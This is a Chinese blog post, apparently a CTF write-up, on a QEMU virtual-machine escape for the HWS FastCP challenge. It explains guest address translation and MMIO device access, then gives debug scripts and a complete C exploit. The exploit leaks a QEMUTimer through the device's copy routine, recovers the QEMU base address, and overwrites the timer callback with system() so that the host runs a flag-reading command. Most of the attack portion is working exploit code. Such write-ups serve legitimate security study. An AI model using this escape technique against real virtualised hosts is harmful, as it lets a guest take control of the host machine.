初试qemu逃逸——HWS_FastCP
初试qemu逃逸——HWS_FastCP
国赛临近,两位21级pwn手为了能突围分区赛,决定开始分工学习,我这边开始啃qemu逃逸()
参考资料
我有个习惯,我喜欢把参考资料放在最前面,问就是致敬。
arttnba3大佬的博客,里面有很多理论知识,但是较为晦涩,可以当做小说总览一下。[VIRT.0x02] 系统虚拟化导论
wjh大佬的博客,详细讲了qemu逃逸的基础知识和入门例题,推荐大家仔细品鉴。QEMU 逃逸初探(一)
我自认为我还没有构建好完整的知识体系,所以我不推荐大家把我当博客作为学习qemu逃逸的主要资料。不过如果你看完了大佬的博客,感觉有些头晕目眩,那可以来看看我的文章,也许你会有新的理解。
我从来不做大佬们已经做好了的工作。我的文章跟多的是尝试站在一个菜鸡的角度去列出自己遇到的问题和踩过的坑,毕竟很多东西大佬们一看就懂了,他们想不到咱们这些菜鸡会在哪些地方出问题......
什么是qemu逃逸
qemu逃逸,听名字很牛逼。这个话题,肯定少不了qemu,qemu是个虚拟机,但是更广泛的一个概念,qemu应该是一个应用程序。
你可以认为qemu本身其实就是常规pwn题发的题目附件里的ELF文件,qemu也有text段,data段,也有它的动态链接库的地址。这里exp不再是python交互脚本,而是我们实现编译好的exp这个可执行文件,由执行这个exp来触发qemu的漏洞,实现逃逸。
所以我们要pwn的,是qemu这个程序本身。
qemu在启动的时候会添加一些设备,通过--device参数实现,这里很容易看到相关设备的名字。具体做法参考大佬的博客或者chatgpt
两个重点:地址转化与PCI设备访问
地址转化问题
这里以不严格的语言来讲述这个道理。
一个程序,能拿到的,是操作系统给这个程序分配的虚拟内存。而qemu中的程序,用的就是qemu给他分配的虚拟内存。我们知道操作系统有一个功能,就是能建立一个虚拟地址和物理地址的映射,也就是说虚拟地址和物理地址是响应的。也就是说,qemu中的程序使用的物理内存,也是属于qemu的。
qemu自身就是一个应用程序,它的内存从何而来?必然是取自真机的操作系统给它分配的虚拟地址。
linux系统中运行的任意一个程序,如果能打开/proc/self/pagemap这个文件(前提是能打开,我记得要root)。这个文件里面存着许多条目,每个条目八个字节,记录着某个虚拟页与物理页的对应关系。程序运行时,会根据虚拟地址,计算出虚拟帧的帧号,转化为文件的一个偏移找到对应条目,并得到物理帧,加上虚拟帧偏移得到物理地址。
详细计算过程可以参考大佬的博客。
设备访问问题
这里仅仅谈mmio类型的PCI设备。
mmap打开设备文件可以得到对应设备地址mmio_addr,这个在大佬的博客里面也讲了。
(mmio_addr + addr),对这个地址进行访问就可以了。read的话就解引用一下,write的话就赋值。
device在一开始会初始化一些读写函数,当进行如上操作时会触发这些函数,addr往往会作为参数传进去。
device中相关处理函数涉及到的往往都是物理地址。它们在很底层的位置。
调试
写了个小脚本,直接启动tools.sh就可以。
tmux 那一行可以分屏调试
#!/bin/sh
#tools.sh
program_name=qemu
pids=$(pgrep $program_name)
echo $pids
sudo kill -9 $pids
gcc --static -masm=intel -g -o exp exp.c
cp exp initramfs-busybox-x64
cd ./initramfs-busybox-x64
gen-cpio initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio ..
cd ..
#tmux splitw -h ./GT.sh
./launch.sh
GT.sh
#!/bin/bash
sleep 3
program_name=qemu
pid=$(pgrep -n $program_name)
if [[ -z $pid ]]; then
echo "Error: $program_name is not running"
exit 1
fi
echo $pid
sudo gdb -p $pid \
-ex 'b*$rebase(0x4DCE80)'
一些东西,像是路径和文件名,到时候需要改一改
./launch是程序提供的启动脚本
EXP
我还没搞懂怎么起shell,先cat个flag。。。
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <string.h>
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ( (1ull << 55) - 1)
#define PAGE_SIZE 0x1000
#define PAGE_OFFSET_MASK ((1 << 12) - 1)
#define SYSTEM_PLT 0x2C2180
#define CB_OFFSET (0x000055c40b736e80 - 0x55c40b25a000)
uint64_t mmio_addr;
uint64_t buf_physical;
uint64_t buf_virtual;
struct FastCP_CP_info{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};
struct QEMUTIMER{
int64_t expire_time;
int64_t timer_list;
int64_t cb;
void* opaque;
int64_t next;
int attributes;
int scale;
char shell[0x50];
};
void die(char*msg){
perror(msg);
exit(-1);
}
uint64_t gva_to_gfn(void* addr){
uint64_t pme,gfn;
uint64_t offset;
int fd=open("/proc/self/pagemap",O_RDONLY);
if(fd == -1)
die("open pagemap");
offset = ((uint64_t)addr >> 9) & ~7;
lseek(fd,offset,SEEK_SET);
read(fd,&pme,8);
if(!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void* addr){
uint64_t gfn,gpa;
gfn=gva_to_gfn(addr);
assert(gfn != -1);
gpa = (gfn * PAGE_SIZE) | ((uint64_t)addr & PAGE_OFFSET_MASK);
return gpa;
}
uint64_t mmio_read(uint64_t addr){
return *((uint64_t*)(mmio_addr + addr));
}
void mmio_write(uint64_t addr, uint64_t value){
*((uint64_t*)(mmio_addr + addr)) = value;
}
void set_listsrc(uint64_t src){
mmio_write(0x08, src);
}
void set_listcnt(uint64_t cnt){
mmio_write(0x10, cnt);
}
void do_cmd(uint64_t cmd){
mmio_write(0x18, cmd);
}
void copy_src_to_dst(uint64_t src, uint64_t cnt, uint64_t dst){
struct FastCP_CP_info info[0x11];
for(int i=0;i<0x11;i++){
info[i].CP_src = src;
info[i].CP_cnt = cnt;
info[i].CP_dst = dst;
}
memcpy(buf_virtual,&info,sizeof(info));
set_listcnt(0x11);
set_listsrc(buf_physical);
do_cmd(1);
sleep(1);
}
void copy_to_buffer(uint64_t src, uint64_t cnt){
struct FastCP_CP_info info;
info.CP_src = src;
info.CP_cnt = cnt;
info.CP_dst = NULL;
memcpy(buf_virtual,&info,sizeof(info));
set_listcnt(1);
set_listsrc(buf_physical);
do_cmd(2);
sleep(1);
}
void copy_from_buffer(uint64_t dst, uint64_t cnt){
struct FastCP_CP_info info;
info.CP_src = NULL;
info.CP_cnt = cnt;
info.CP_dst = dst;
memcpy(buf_virtual,&info,sizeof(info));
set_listcnt(1);
set_listsrc(buf_physical);
do_cmd(4);
sleep(1);
}
int main(int argc,char* argv[]){
printf("[*] Start!!\n");
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_SYNC | O_RDWR);
if(mmio_fd == -1)
die("open mmio failed\n");
mmio_addr = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_addr == MAP_FAILED)
die("mmap mmio failed");
buf_virtual = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(buf_virtual == MAP_FAILED)
die("mmap buf failed");
//printf("[*] HERE!!\n");
mlock(buf_virtual,0x3000);
buf_physical = gva_to_gpa(buf_virtual);
printf("[+] buf vir:0x%llx\n",buf_virtual);
printf("[+] buf phy:0x%llx\n",buf_physical);
printf("[*] start to leak!\n");
copy_from_buffer(buf_physical, 0x1030);
copy_to_buffer(buf_physical + 0x1000, 0x30);
copy_from_buffer(buf_physical, 0x30);
struct QEMUTIMER qt={0};
memcpy(&qt,buf_virtual,0x30);
printf("[+] QEMUTIMER.expire_tmie: 0x%llx\n",qt.expire_time);
printf("[+] QEMUTIMER.timer_list: 0x%llx\n",qt.timer_list);
printf("[+] QEMUTIMER.cb: 0x%llx\n",qt.cb);
printf("[+] QEMUTIMER.opaque: 0x%llx\n",qt.opaque);
printf("[+] QEMUTIMER.next: 0x%llx\n",qt.next);
uint64_t elf_base = qt.cb - CB_OFFSET;
printf("[+] ELF_BASE: 0x%llx\n",elf_base);
uint64_t system_plt = elf_base + SYSTEM_PLT;
qt.cb = system_plt;
qt.opaque += (0xa00 + 0x1000 +0x30);
strcpy(qt.shell,"pwd;cd /home/wjc;cat flag");
memcpy(buf_virtual+0x1000,&qt,sizeof(qt));
copy_src_to_dst(gva_to_gpa(buf_virtual+0x1000)-0x1000,0x1080,gva_to_gpa(buf_virtual+0x1000)-0x1000);
do_cmd(1);
return 0;
}

浙公网安备 33010602011771号